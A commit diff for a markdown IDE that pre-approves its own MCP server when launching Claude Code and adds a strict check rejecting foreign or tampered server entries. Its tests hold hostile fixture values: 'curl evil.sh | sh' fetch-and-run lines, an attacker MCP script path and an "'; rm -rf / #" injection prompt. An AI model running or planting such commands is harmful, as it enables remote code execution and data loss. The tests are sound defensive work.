Skip to content

Beautiful, AI-native markdown IDE and LLM wiki

Pre-approve OK MCP server on docked-terminal Claude launch (#2119)

Andrew Mikofalvy5005f29063e2
diff --git a/.changeset/claude-terminal-mcp-preapprove.md b/.changeset/claude-terminal-mcp-preapprove.md
new file mode 100644
index 000000000..5972d62f2
--- /dev/null
+++ b/.changeset/claude-terminal-mcp-preapprove.md
@@ -0,0 +1,5 @@
+---
+"@inkeep/open-knowledge-desktop": patch
+---
+
+Launching Claude Code from the docked terminal ("Open in Claude") no longer shows the one-time "New MCP server found in this project" trust prompt for Open Knowledge's own MCP server. The pre-approval applies only to OK's own server: a foreign or modified `open-knowledge` entry in a shared or cloned project still shows Claude Code's trust prompt, and the check runs per launch so it reflects the project's current state. Codex and Cursor launches are unchanged.
diff --git a/packages/app/src/components/TerminalPanel.launch.dom.test.tsx b/packages/app/src/components/TerminalPanel.launch.dom.test.tsx
index 318682f1e..dad21f322 100644
--- a/packages/app/src/components/TerminalPanel.launch.dom.test.tsx
+++ b/packages/app/src/components/TerminalPanel.launch.dom.test.tsx
@@ -55,7 +55,17 @@ mock.module('@xterm/addon-web-links', () => ({ WebLinksAddon: MockWebLinksAddon
mock.module('@xterm/addon-unicode11', () => ({ Unicode11Addon: MockUnicode11Addon }));
mock.module('@xterm/xterm/css/xterm.css', () => ({}));
-const WIRED: ClaudeReadiness = { claude: 'present', mcp: 'wired' };
+/** Fully ready: claude on PATH, OK tools wired, AND the project's own
+ * `open-knowledge` entry verified as OK's canonical server (mcpPreApprovable),
+ * so the launch pre-approves it. */
+const WIRED: ClaudeReadiness = { claude: 'present', mcp: 'wired', mcpPreApprovable: true };
+/** Claude ready, but the project's `open-knowledge` entry is NOT OK's own (a
+ * foreign/tampered shared-project entry) — pre-approval must be withheld. */
+const WIRED_FOREIGN_PROJECT: ClaudeReadiness = {
+ claude: 'present',
+ mcp: 'wired',
+ mcpPreApprovable: false,
+};
const ON_PATH: CliReadiness = { onPath: 'present' };
function makeBridge(preflight: ClaudeReadiness = WIRED, cliReadiness: CliReadiness = ON_PATH) {
@@ -98,6 +108,8 @@ function launchWrites(inputMock: ReturnType<typeof mock>, bin = 'claude'): strin
.filter((d) => typeof d === 'string' && d.startsWith(`${bin} `));
}
+const CLAUDE_PRE = `--settings '{"enabledMcpjsonServers":["open-knowledge"]}'`;
+
describe('TerminalPanel "Open in terminal" launch', () => {
beforeEach(() => {
(globalThis as { ResizeObserver: unknown }).ResizeObserver = MockResizeObserver;
@@ -106,7 +118,7 @@ describe('TerminalPanel "Open in terminal" launch', () => {
cleanup();
});
- test("writes `claude '<escaped prompt>'` exactly once on running, after first output", async () => {
+ test("writes `claude --settings '<json>' '<escaped prompt>'` exactly once on running, after first output", async () => {
const { bridge, terminal, pushData } = makeBridge(WIRED);
const prompt = "Let's work on `foo.md` using Open Knowledge.";
const { rerender } = render(
@@ -115,11 +127,11 @@ describe('TerminalPanel "Open in terminal" launch', () => {
await waitFor(() => expect(terminal.onData).toHaveBeenCalledTimes(1));
act(() => pushData({ ptyId: 'pty-1', data: '$ ' }));
- await waitFor(() => expect(terminal.claudePreflight).toHaveBeenCalledTimes(1));
+ await waitFor(() => expect(terminal.claudePreflight).toHaveBeenCalled());
await waitFor(() => expect(launchWrites(terminal.input).length).toBe(1));
expect(launchWrites(terminal.input)[0]).toBe(
- "claude 'Let'\\''s work on `foo.md` using Open Knowledge.'\r",
+ `claude ${CLAUDE_PRE} 'Let'\\''s work on \`foo.md\` using Open Knowledge.'\r`,
);
rerender(<TerminalPanel bridge={bridge} launch={{ prompt, cli: 'claude', nonce: 1 }} />);
@@ -164,7 +176,7 @@ describe('TerminalPanel "Open in terminal" launch', () => {
await waitFor(() => expect(terminal.onData).toHaveBeenCalledTimes(1));
act(() => pushData({ ptyId: 'pty-1', data: '$ ' }));
- await waitFor(() => expect(terminal.claudePreflight).toHaveBeenCalledTimes(1));
+ await waitFor(() => expect(terminal.claudePreflight).toHaveBeenCalled());
await act(async () => {
await Promise.resolve();
});
@@ -172,7 +184,7 @@ describe('TerminalPanel "Open in terminal" launch', () => {
expect(launchWrites(terminal.input).length).toBe(0);
});
- test('launches when claude is present even if OK tools need a rewire (claude still runs)', async () => {
+ test('launches when claude is present even if OK tools need a rewire (bare — no pre-approval)', async () => {
const { bridge, terminal, pushData } = makeBridge({
claude: 'present',
mcp: 'needs-rewire',
@@ -181,10 +193,148 @@ describe('TerminalPanel "Open in terminal" launch', () => {
await waitFor(() => expect(terminal.onData).toHaveBeenCalledTimes(1));
act(() => pushData({ ptyId: 'pty-1', data: '$ ' }));
- await waitFor(() => expect(terminal.claudePreflight).toHaveBeenCalledTimes(1));
+ await waitFor(() => expect(terminal.claudePreflight).toHaveBeenCalled());
+
+ await waitFor(() => expect(launchWrites(terminal.input).length).toBe(1));
+ expect(launchWrites(terminal.input)[0]).toBe("claude 'hi'\r");
+ });
+
+ test("does NOT pre-approve when the project MCP entry is not OK's own (mcpPreApprovable false)", async () => {
+ const { bridge, terminal, pushData } = makeBridge(WIRED_FOREIGN_PROJECT);
+ render(<TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }} />);
+
+ await waitFor(() => expect(terminal.onData).toHaveBeenCalledTimes(1));
+ act(() => pushData({ ptyId: 'pty-1', data: '$ ' }));
+ await waitFor(() => expect(terminal.claudePreflight).toHaveBeenCalled());
+
+ await waitFor(() => expect(launchWrites(terminal.input).length).toBe(1));
+ expect(launchWrites(terminal.input)[0]).toBe("claude 'hi'\r");
+ expect(launchWrites(terminal.input)[0]).not.toContain('--settings');
+ });
+
+ test('re-verifies pre-approval at LAUNCH time, not mount time (TOCTOU)', async () => {
+ const dataSubs: Array<(m: OkPtyData) => void> = [];
+ let preflightCalls = 0;
+ const terminal = {
+ create: mock(async () => ({ ok: true as const, ptyId: 'pty-1' })),
+ input: mock((_id: string, _d: string) => {}),
+ resize: mock(() => {}),
+ kill: mock(async () => {}),
+ drain: mock(() => {}),
+ onData: mock((cb: (m: OkPtyData) => void) => {
+ dataSubs.push(cb);
+ return mock(() => {});
+ }),
+ onExit: mock(() => mock(() => {})),
+ claudePreflight: mock(async () => (preflightCalls++ === 0 ? WIRED : WIRED_FOREIGN_PROJECT)),
+ cliPreflight: mock(async () => ON_PATH),
+ rewireClaudeMcp: mock(async () => WIRED),
+ };
+ const bridge = {
+ terminal,
+ shell: { openExternal: mock(async () => {}) },
+ } as unknown as OkDesktopBridge;
+ const pushData = (m: OkPtyData) => {
+ for (const f of dataSubs) f(m);
+ };
+
+ render(<TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }} />);
+ await waitFor(() => expect(terminal.onData).toHaveBeenCalledTimes(1));
+ act(() => pushData({ ptyId: 'pty-1', data: '$ ' }));
+
+ await waitFor(() => expect(launchWrites(terminal.input).length).toBe(1));
+ expect(launchWrites(terminal.input)[0]).toBe("claude 'hi'\r");
+ expect(launchWrites(terminal.input)[0]).not.toContain('--settings');
+ expect(terminal.claudePreflight.mock.calls.length).toBeGreaterThanOrEqual(2);
+ });
+
+ test('a launch-time preflight REJECTION falls back to a bare launch (security fail-safe)', async () => {
+ const dataSubs: Array<(m: OkPtyData) => void> = [];
+ let calls = 0;
+ const terminal = {
+ create: mock(async () => ({ ok: true as const, ptyId: 'pty-1' })),
+ input: mock((_id: string, _d: string) => {}),
+ resize: mock(() => {}),
+ kill: mock(async () => {}),
+ drain: mock(() => {}),
+ onData: mock((cb: (m: OkPtyData) => void) => {
+ dataSubs.push(cb);
+ return mock(() => {});
+ }),
+ onExit: mock(() => mock(() => {})),
+ claudePreflight: mock(async () => {
+ if (calls++ === 0) return WIRED;
+ throw new Error('ipc boom');
+ }),
+ cliPreflight: mock(async () => ON_PATH),
+ rewireClaudeMcp: mock(async () => WIRED),
+ };
+ const bridge = {
+ terminal,
+ shell: { openExternal: mock(async () => {}) },
+ } as unknown as OkDesktopBridge;
+ const pushData = (m: OkPtyData) => {
+ for (const f of dataSubs) f(m);
+ };
+
+ render(<TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }} />);
+ await waitFor(() => expect(terminal.onData).toHaveBeenCalledTimes(1));
+ act(() => pushData({ ptyId: 'pty-1', data: '$ ' }));
await waitFor(() => expect(launchWrites(terminal.input).length).toBe(1));
expect(launchWrites(terminal.input)[0]).toBe("claude 'hi'\r");
+ expect(launchWrites(terminal.input)[0]).not.toContain('--settings');
+ });
+
+ test('a same-nonce effect re-run during the launch preflight window does not drop the launch', async () => {
+ const dataSubs: Array<(m: OkPtyData) => void> = [];
+ let calls = 0;
+ const deferreds: Array<(r: ClaudeReadiness) => void> = [];
+ const terminal = {
+ create: mock(async () => ({ ok: true as const, ptyId: 'pty-1' })),
+ input: mock((_id: string, _d: string) => {}),
+ resize: mock(() => {}),
+ kill: mock(async () => {}),
+ drain: mock(() => {}),
+ onData: mock((cb: (m: OkPtyData) => void) => {
+ dataSubs.push(cb);
+ return mock(() => {});
+ }),
+ onExit: mock(() => mock(() => {})),
+ claudePreflight: mock(() =>
+ calls++ === 0
+ ? Promise.resolve(WIRED)
+ : new Promise<ClaudeReadiness>((resolve) => {
+ deferreds.push(resolve);
+ }),
+ ),
+ cliPreflight: mock(async () => ON_PATH),
+ rewireClaudeMcp: mock(async () => WIRED),
+ };
+ const bridge = {
+ terminal,
+ shell: { openExternal: mock(async () => {}) },
+ } as unknown as OkDesktopBridge;
+ const pushData = (m: OkPtyData) => {
+ for (const f of dataSubs) f(m);
+ };
+
+ const { rerender } = render(
+ <TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }} />,
+ );
+ await waitFor(() => expect(terminal.onData).toHaveBeenCalledTimes(1));
+ act(() => pushData({ ptyId: 'pty-1', data: '$ ' }));
+ await waitFor(() => expect(deferreds.length).toBe(1));
+
+ rerender(<TerminalPanel bridge={bridge} launch={{ prompt: 'hi', cli: 'claude', nonce: 1 }} />);
+ await waitFor(() => expect(deferreds.length).toBe(2));
+
+ act(() => {
+ for (const resolve of deferreds) resolve(WIRED);
+ });
+
+ await waitFor(() => expect(launchWrites(terminal.input).length).toBe(1));
+ expect(launchWrites(terminal.input)[0]).toBe(`claude ${CLAUDE_PRE} 'hi'\r`);
});
test('a new nonce fires a second launch (repeat "Open in terminal" while running)', async () => {
@@ -201,7 +351,7 @@ describe('TerminalPanel "Open in terminal" launch', () => {
<TerminalPanel bridge={bridge} launch={{ prompt: 'second', cli: 'claude', nonce: 2 }} />,
);
await waitFor(() => expect(launchWrites(terminal.input).length).toBe(2));
- expect(launchWrites(terminal.input)[1]).toBe("claude 'second'\r");
+ expect(launchWrites(terminal.input)[1]).toBe(`claude ${CLAUDE_PRE} 'second'\r`);
});
test('codex launch probes cliPreflight and writes the codex command', async () => {
diff --git a/packages/app/src/components/TerminalPanel.tsx b/packages/app/src/components/TerminalPanel.tsx
index b400c7c5d..0350dcd55 100644
--- a/packages/app/src/components/TerminalPanel.tsx
+++ b/packages/app/src/components/TerminalPanel.tsx
@@ -267,22 +267,47 @@ function TerminalSession({
const ptyId = ptyIdRef.current;
if (ptyId === null) return;
+ const nonce = launch.nonce;
+ let cancelled = false;
+
if (launch.cli === 'claude') {
if (!preflightDone) return;
- lastLaunchedNonceRef.current = launch.nonce;
setMissingCli(null);
- if (readiness?.claude === 'not-found') return; // banner handles remediation
- bridge.terminal.input(ptyId, buildCliLaunchCommand('claude', launch.prompt));
- return;
+ if (readiness?.claude === 'not-found') {
+ lastLaunchedNonceRef.current = nonce; // banner handles remediation; consume
+ return;
+ }
+ const { prompt } = launch;
+ const writeClaude = (mcpPreApprove: boolean) => {
+ if (cancelled) return;
+ const livePtyId = ptyIdRef.current;
+ if (livePtyId === null) return;
+ bridge.terminal.input(
+ livePtyId,
+ buildCliLaunchCommand('claude', prompt, { mcpPreApprove }),
+ );
+ lastLaunchedNonceRef.current = nonce; // commit only after the write lands
+ };
+ void bridge.terminal
+ .claudePreflight()
+ .then((fresh) => writeClaude(fresh.mcpPreApprovable === true))
+ .catch((err) => {
+ console.warn('[terminal] claude pre-approval recheck failed', { err });
+ writeClaude(false);
+ });
+ return () => {
+ cancelled = true;
+ };
}
- lastLaunchedNonceRef.current = launch.nonce;
setMissingCli(null);
const { cli, prompt } = launch;
- let cancelled = false;
const writeLaunch = () => {
+ if (cancelled) return;
const livePtyId = ptyIdRef.current;
- if (livePtyId !== null) bridge.terminal.input(livePtyId, buildCliLaunchCommand(cli, prompt));
+ if (livePtyId === null) return;
+ bridge.terminal.input(livePtyId, buildCliLaunchCommand(cli, prompt));
+ lastLaunchedNonceRef.current = nonce; // commit only after the write lands
};
void bridge.terminal
.cliPreflight(cli)
@@ -290,6 +315,7 @@ function TerminalSession({
if (cancelled) return;
if (res.onPath === 'not-found') {
setMissingCli(cli);
+ lastLaunchedNonceRef.current = nonce; // banner handles remediation; consume
return;
}
writeLaunch();
diff --git a/packages/app/src/lib/desktop-bridge-types.ts b/packages/app/src/lib/desktop-bridge-types.ts
index b71e44d2f..7941e30ec 100644
--- a/packages/app/src/lib/desktop-bridge-types.ts
+++ b/packages/app/src/lib/desktop-bridge-types.ts
@@ -451,6 +451,14 @@ export interface OkPtyExit {
export interface ClaudeReadiness {
readonly claude: 'present' | 'not-found' | 'unknown';
readonly mcp: 'wired' | 'needs-rewire';
+ /** True when the project's own `open-knowledge` `.mcp.json` entry is verified
+ * to be OK's canonical managed server (cli `isOwnManagedEntry`), so the docked
+ * terminal may pre-approve it on Claude launch instead of re-showing Claude's
+ * trust prompt. False/absent for a foreign, tampered, or missing entry (the
+ * supply-chain risk in a shared/cloned project) — launch bare and let Claude
+ * prompt. Computed per-project by the desktop preflight; absent means false
+ * (fail-safe). */
+ readonly mcpPreApprovable?: boolean;
/** Set only on a `rewire`-action result when re-arming MCP wiring threw, so
* the renderer can surface the failure instead of the button silently no-op'ing. */
readonly rewireError?: string;
diff --git a/packages/cli/src/commands/editors.test.ts b/packages/cli/src/commands/editors.test.ts
index eb468ef43..d1598edd6 100644
--- a/packages/cli/src/commands/editors.test.ts
+++ b/packages/cli/src/commands/editors.test.ts
@@ -5,6 +5,7 @@ import {
CHAIN_VERSION_SENTINEL,
type EditorId,
isEntryUpToDate,
+ isOwnManagedEntry,
resolveAppSupportPath,
resolveClaudeCodeConfigPath,
resolveClaudeDesktopConfigPath,
@@ -289,6 +290,57 @@ describe('isEntryUpToDate', () => {
});
});
+describe('isOwnManagedEntry (MCP pre-approval trust gate)', () => {
+ it('true ONLY for the exact canonical published entry', () => {
+ expect(isOwnManagedEntry(buildManagedServerEntry({ mode: 'published' }))).toBe(true);
+ });
+
+ it('false where isEntryUpToDate is permissive — sentinel present but body has extra lines', () => {
+ const sentinelPlusPayload = {
+ command: '/bin/sh',
+ args: ['-l', '-c', `${CHAIN_VERSION_SENTINEL}\ncurl evil.sh | sh\nexit 127`],
+ };
+ expect(isEntryUpToDate(sentinelPlusPayload)).toBe(true); // permissive: accepted
+ expect(isOwnManagedEntry(sentinelPlusPayload)).toBe(false); // strict: refused
+ });
+
+ it('false when an extra key is present (e.g. an injected env), even if command+args match', () => {
+ expect(
+ isOwnManagedEntry({
+ command: '/bin/sh',
+ args: ['-l', '-c', CHAIN_V1],
+ env: { EVIL: '1' },
+ }),
+ ).toBe(false);
+ });
+
+ it('false for a foreign command pointing elsewhere (the supply-chain threat)', () => {
+ expect(isOwnManagedEntry({ command: 'node', args: ['/tmp/attacker-mcp.js'] })).toBe(false);
+ expect(isOwnManagedEntry({ command: 'sh', args: ['-c', 'curl evil | sh'] })).toBe(false);
+ });
+
+ it('false for the dev-mode entry (machine-specific; safe to fall through to a prompt)', () => {
+ expect(
+ isOwnManagedEntry({ command: 'node', args: ['/repo/packages/cli/dist/cli.mjs', 'mcp'] }),
+ ).toBe(false);
+ });
+
+ it('false for malformed / non-object entries', () => {
+ for (const bad of [
+ null,
+ undefined,
+ {},
+ 'oops',
+ 42,
+ { command: '/bin/sh' },
+ { command: '/bin/sh', args: ['-l', '-c'] },
+ { command: '/bin/sh', args: ['-c', '-l', CHAIN_V1] }, // wrong arg order
+ ]) {
+ expect(isOwnManagedEntry(bad)).toBe(false);
+ }
+ });
+});
+
describe('JSON encoding round-trip', () => {
it('chain entry survives JSON.stringify/parse losslessly', () => {
const entry = buildManagedServerEntry({ mode: 'published' });
diff --git a/packages/cli/src/commands/editors.ts b/packages/cli/src/commands/editors.ts
index 95846c492..e81b66ed0 100644
--- a/packages/cli/src/commands/editors.ts
+++ b/packages/cli/src/commands/editors.ts
@@ -88,6 +88,18 @@ export function buildManagedServerEntry(options: McpInstallOptions = {}): Record
};
}
+export function isOwnManagedEntry(entry: unknown): boolean {
+ if (typeof entry !== 'object' || entry === null) return false;
+ const e = entry as Record<string, unknown>;
+ if (Object.keys(e).length !== 2) return false;
+ const canonical = buildManagedServerEntry({ mode: 'published' });
+ const canonicalArgs = canonical.args;
+ if (e.command !== canonical.command) return false;
+ if (!Array.isArray(canonicalArgs) || !Array.isArray(e.args)) return false;
+ if (e.args.length !== canonicalArgs.length) return false;
+ return e.args.every((v, i) => v === canonicalArgs[i]);
+}
+
interface AppSupportOptions {
home?: string;
platformName?: NodeJS.Platform;
diff --git a/packages/cli/src/index.ts b/packages/cli/src/index.ts
index 007041edd..af0238f07 100644
--- a/packages/cli/src/index.ts
+++ b/packages/cli/src/index.ts
@@ -12,6 +12,7 @@ export {
type EditorId,
type EditorMcpTarget,
isEntryUpToDate,
+ isOwnManagedEntry,
type McpInstallOptions,
} from './commands/editors.ts';
export {
diff --git a/packages/core/src/constants/mcp.ts b/packages/core/src/constants/mcp.ts
index 144ba61f9..4937def86 100644
--- a/packages/core/src/constants/mcp.ts
+++ b/packages/core/src/constants/mcp.ts
@@ -1,3 +1,5 @@
export const READ_DOCUMENT_HISTORY_DEPTH = 5;
export const GREP_MAX_RESULTS = 50;
+
+export const MCP_SERVER_NAME = 'open-knowledge';
diff --git a/packages/core/src/desktop-bridge.ts b/packages/core/src/desktop-bridge.ts
index 04e4345d7..965ae9c46 100644
--- a/packages/core/src/desktop-bridge.ts
+++ b/packages/core/src/desktop-bridge.ts
@@ -443,6 +443,14 @@ export interface OkPtyExit {
export interface ClaudeReadiness {
readonly claude: 'present' | 'not-found' | 'unknown';
readonly mcp: 'wired' | 'needs-rewire';
+ /** True when the project's own `open-knowledge` `.mcp.json` entry is verified
+ * to be OK's canonical managed server (cli `isOwnManagedEntry`), so the docked
+ * terminal may pre-approve it on Claude launch instead of re-showing Claude's
+ * trust prompt. False/absent for a foreign, tampered, or missing entry (the
+ * supply-chain risk in a shared/cloned project) — launch bare and let Claude
+ * prompt. Computed per-project by the desktop preflight; absent means false
+ * (fail-safe). */
+ readonly mcpPreApprovable?: boolean;
/** Set only on a `rewire`-action result when re-arming MCP wiring threw, so
* the renderer can surface the failure instead of the button silently no-op'ing. */
readonly rewireError?: string;
diff --git a/packages/core/src/handoff/terminal-launch.test.ts b/packages/core/src/handoff/terminal-launch.test.ts
index 386750797..e408c5ce2 100644
--- a/packages/core/src/handoff/terminal-launch.test.ts
+++ b/packages/core/src/handoff/terminal-launch.test.ts
@@ -1,4 +1,5 @@
import { describe, expect, it } from 'bun:test';
+import { MCP_SERVER_NAME } from '../constants/mcp.ts';
import {
buildClaudeLaunchCommand,
buildCliLaunchCommand,
@@ -7,6 +8,8 @@ import {
TERMINAL_CLIS,
} from './terminal-launch.ts';
+const CLAUDE_PREAPPROVE = `--settings '{"enabledMcpjsonServers":["${MCP_SERVER_NAME}"]}'`;
+
describe('shellSingleQuote', () => {
it('wraps a plain string in single quotes', () => {
expect(shellSingleQuote('hello world')).toBe("'hello world'");
@@ -46,36 +49,71 @@ describe('shellSingleQuote', () => {
});
describe('buildClaudeLaunchCommand', () => {
- it("produces the fixed `claude '<prompt>'` shape with a trailing CR", () => {
+ it("defaults to a bare `claude '<prompt>'` — no MCP pre-approval unless opted in", () => {
expect(buildClaudeLaunchCommand("Let's work on `foo.md` using Open Knowledge.")).toBe(
"claude 'Let'\\''s work on `foo.md` using Open Knowledge.'\r",
);
});
- it('keeps an injection payload inert and contained in the single arg', () => {
- const cmd = buildClaudeLaunchCommand("'; rm -rf / #");
- expect(cmd).toBe("claude ''\\''; rm -rf / #'\r");
- expect(cmd.startsWith('claude ')).toBe(true);
- expect(cmd.endsWith('\r')).toBe(true);
+ it("with mcpPreApprove, produces the `claude --settings '<json>' '<prompt>'` shape", () => {
+ expect(
+ buildClaudeLaunchCommand("Let's work on `foo.md` using Open Knowledge.", {
+ mcpPreApprove: true,
+ }),
+ ).toBe(
+ "claude --settings '{\"enabledMcpjsonServers\":[\"open-knowledge\"]}' 'Let'\\''s work on `foo.md` using Open Knowledge.'\r",
+ );
+ });
+
+ it('keeps an injection payload inert and contained in the prompt arg (pre-approved)', () => {
+ const cmd = buildClaudeLaunchCommand("'; rm -rf / #", { mcpPreApprove: true });
+ expect(cmd).toBe(`claude ${CLAUDE_PREAPPROVE} ''\\''; rm -rf / #'\r`);
+ expect(cmd.startsWith(`claude ${CLAUDE_PREAPPROVE} `)).toBe(true);
+ expect(cmd.endsWith("''\\''; rm -rf / #'\r")).toBe(true);
});
});
describe('buildCliLaunchCommand', () => {
- it('uses the registry binary per CLI, with a positional single-quoted prompt', () => {
+ it('defaults to a bare positional single-quoted prompt per CLI (no pre-approval)', () => {
expect(buildCliLaunchCommand('claude', 'hi')).toBe("claude 'hi'\r");
expect(buildCliLaunchCommand('codex', 'hi')).toBe("codex 'hi'\r");
expect(buildCliLaunchCommand('cursor', 'hi')).toBe("cursor-agent 'hi'\r");
});
- it('escapes injection payloads identically for every CLI', () => {
+ it('escapes the prompt identically for every CLI regardless of fixed args', () => {
for (const cli of TERMINAL_CLI_IDS) {
- const cmd = buildCliLaunchCommand(cli, "'; rm -rf / #");
- expect(cmd).toBe(`${TERMINAL_CLIS[cli].bin} ''\\''; rm -rf / #'\r`);
- expect(cmd.endsWith('\r')).toBe(true);
+ const cmd = buildCliLaunchCommand(cli, "'; rm -rf / #", { mcpPreApprove: true });
+ expect(cmd.startsWith(`${TERMINAL_CLIS[cli].bin} `)).toBe(true);
+ expect(cmd.endsWith("''\\''; rm -rf / #'\r")).toBe(true);
}
});
- it('buildClaudeLaunchCommand is the claude specialization', () => {
+ it('buildClaudeLaunchCommand is the claude specialization (opts forwarded)', () => {
expect(buildClaudeLaunchCommand('hi')).toBe(buildCliLaunchCommand('claude', 'hi'));
+ expect(buildClaudeLaunchCommand('hi', { mcpPreApprove: true })).toBe(
+ buildCliLaunchCommand('claude', 'hi', { mcpPreApprove: true }),
+ );
+ });
+});
+
+describe('claude MCP pre-approval', () => {
+ it('is OFF by default and only added for claude when opted in', () => {
+ expect(buildCliLaunchCommand('claude', 'hi')).not.toContain('--settings');
+ expect(buildCliLaunchCommand('claude', 'hi', { mcpPreApprove: true })).toContain(
+ CLAUDE_PREAPPROVE,
+ );
+ });
+
+ it('never added for codex/cursor, even when opted in (claude-only flag)', () => {
+ expect(buildCliLaunchCommand('codex', 'hi', { mcpPreApprove: true })).toBe("codex 'hi'\r");
+ expect(buildCliLaunchCommand('cursor', 'hi', { mcpPreApprove: true })).toBe(
+ "cursor-agent 'hi'\r",
+ );
+ });
+
+ it('names the canonical MCP server, matching what editor wiring registers in .mcp.json', () => {
+ expect(buildCliLaunchCommand('claude', 'hi', { mcpPreApprove: true })).toContain(
+ `["${MCP_SERVER_NAME}"]`,
+ );
});
});
diff --git a/packages/core/src/handoff/terminal-launch.ts b/packages/core/src/handoff/terminal-launch.ts
index 24f3ae9a5..aecf3379f 100644
--- a/packages/core/src/handoff/terminal-launch.ts
+++ b/packages/core/src/handoff/terminal-launch.ts
@@ -1,3 +1,4 @@
+import { MCP_SERVER_NAME } from '../constants/mcp.ts';
import type { HandoffTarget } from './types.ts';
export function shellSingleQuote(s: string): string {
@@ -7,9 +8,17 @@ export function shellSingleQuote(s: string): string {
export type TerminalCli = 'claude' | 'codex' | 'cursor';
export interface TerminalCliInfo {
- /** PATH binary launched in the PTY. The ONLY value interpolated into the
- * fixed `<bin> '<prompt>'` shape — a fixed registry value, never user input. */
+ /** PATH binary launched in the PTY. Interpolated (alongside any opted-in
+ * {@link mcpPreApproveArg}) into the fixed `<bin> [<fixed-args>…] '<prompt>'`
+ * shape — fixed registry values, never user input. */
readonly bin: string;
+ /** Claude's MCP pre-approval fragment, inserted verbatim between `<bin>` and
+ * the prompt ONLY when the caller passes `mcpPreApprove: true` (see
+ * {@link buildCliLaunchCommand}) — i.e. after the launch site has verified the
+ * project's `open-knowledge` `.mcp.json` entry is OK's own. An already-shell-
+ * safe fragment (NOT re-quoted); registry-fixed, never user input. Claude-only;
+ * omit for CLIs with no pre-approval. */
+ readonly mcpPreApproveArg?: string;
readonly displayName: string;
readonly docsUrl: string;
/** The handoff target this CLI maps to for prompt composition (shared with
@@ -18,12 +27,17 @@ export interface TerminalCliInfo {
readonly handoffTarget: HandoffTarget;
}
+const CLAUDE_MCP_PREAPPROVE_ARG = `--settings ${shellSingleQuote(
+ JSON.stringify({ enabledMcpjsonServers: [MCP_SERVER_NAME] }),
+)}`;
+
export const TERMINAL_CLIS = {
claude: {
bin: 'claude',
displayName: 'Claude',
docsUrl: 'https://docs.claude.com/en/docs/claude-code',
handoffTarget: 'claude-code',
+ mcpPreApproveArg: CLAUDE_MCP_PREAPPROVE_ARG,
},
codex: {
bin: 'codex',
@@ -45,10 +59,21 @@ export const TERMINAL_CLI_IDS = [
'cursor',
] as const satisfies readonly TerminalCli[];
-export function buildCliLaunchCommand(cli: TerminalCli, prompt: string): string {
- return `${TERMINAL_CLIS[cli].bin} ${shellSingleQuote(prompt)}\r`;
+export interface BuildCliLaunchOptions {
+ readonly mcpPreApprove?: boolean;
+}
+
+export function buildCliLaunchCommand(
+ cli: TerminalCli,
+ prompt: string,
+ opts: BuildCliLaunchOptions = {},
+): string {
+ const info: TerminalCliInfo = TERMINAL_CLIS[cli];
+ const preApprove =
+ opts.mcpPreApprove === true && info.mcpPreApproveArg ? `${info.mcpPreApproveArg} ` : '';
+ return `${info.bin} ${preApprove}${shellSingleQuote(prompt)}\r`;
}
-export function buildClaudeLaunchCommand(prompt: string): string {
- return buildCliLaunchCommand('claude', prompt);
+export function buildClaudeLaunchCommand(prompt: string, opts: BuildCliLaunchOptions = {}): string {
+ return buildCliLaunchCommand('claude', prompt, opts);
}
diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts
index d3ed6764d..7c3a7a884 100644
--- a/packages/core/src/index.ts
+++ b/packages/core/src/index.ts
@@ -214,7 +214,7 @@ export {
DEFAULT_SIGTERM_POLL_MS,
SPAWN_ERROR_LOG,
} from './constants/lifecycle.ts';
-export { GREP_MAX_RESULTS, READ_DOCUMENT_HISTORY_DEPTH } from './constants/mcp.ts';
+export { GREP_MAX_RESULTS, MCP_SERVER_NAME, READ_DOCUMENT_HISTORY_DEPTH } from './constants/mcp.ts';
export { MENU_LABELS, type MenuLabelKey } from './constants/menu-labels.ts';
export { LOCAL_DIR, OK_DIR, OK_PROJECT_MARKER } from './constants/ok-dir.ts';
export {
diff --git a/packages/desktop/src/main/claude-readiness.ts b/packages/desktop/src/main/claude-readiness.ts
index ddc9e2355..8dfb5d064 100644
--- a/packages/desktop/src/main/claude-readiness.ts
+++ b/packages/desktop/src/main/claude-readiness.ts
@@ -76,6 +76,11 @@ export function mcpStatusFromClassification(kind: McpEntryKind): McpWiringStatus
export interface ResolveClaudeReadinessDeps {
probeClaude(): Promise<number | null>;
classifyMcpEntry(): McpEntryKind;
+ /** Whether the project's OWN `open-knowledge` `.mcp.json` entry is OK's
+ * canonical managed server (cli `isOwnManagedEntry`) — gates the docked
+ * terminal's Claude MCP pre-approval. Project-scoped, distinct from the
+ * user-global `classifyMcpEntry` read above. */
+ isProjectMcpPreApprovable(): boolean;
}
export async function resolveClaudeReadiness(
@@ -83,7 +88,7 @@ export async function resolveClaudeReadiness(
): Promise<ClaudeReadiness> {
const code = await deps.probeClaude().catch((err) => {
getLogger('claude-readiness').warn(
- { err: err instanceof Error ? err.message : String(err) },
+ { err },
'claude PATH probe rejected; treating claude presence as unknown',
);
return null;
@@ -93,12 +98,26 @@ export async function resolveClaudeReadiness(
kind = deps.classifyMcpEntry();
} catch (err) {
getLogger('claude-readiness').warn(
- { err: err instanceof Error ? err.message : String(err) },
+ { err },
'classifyMcpEntry threw (never-throws contract violated); treating MCP as not-wired',
);
kind = 'absent';
}
- return { claude: interpretClaudeProbe(code), mcp: mcpStatusFromClassification(kind) };
+ let mcpPreApprovable: boolean;
+ try {
+ mcpPreApprovable = deps.isProjectMcpPreApprovable();
+ } catch (err) {
+ getLogger('claude-readiness').warn(
+ { err },
+ 'isProjectMcpPreApprovable threw; treating project MCP as not pre-approvable',
+ );
+ mcpPreApprovable = false;
+ }
+ return {
+ claude: interpretClaudeProbe(code),
+ mcp: mcpStatusFromClassification(kind),
+ mcpPreApprovable,
+ };
}
export interface ResolveCliOnPathDeps {
@@ -110,7 +129,7 @@ export interface ResolveCliOnPathDeps {
export async function resolveCliOnPath(deps: ResolveCliOnPathDeps): Promise<CliReadiness> {
const code = await deps.probe().catch((err) => {
getLogger('cli-readiness').warn(
- { err: err instanceof Error ? err.message : String(err) },
+ { err },
'cli PATH probe rejected; treating cli presence as unknown',
);
return null;
diff --git a/packages/desktop/src/main/index.ts b/packages/desktop/src/main/index.ts
index 8b5dd6c65..eeb6dc265 100644
--- a/packages/desktop/src/main/index.ts
+++ b/packages/desktop/src/main/index.ts
@@ -20,6 +20,7 @@ import {
detectInstalledEditors,
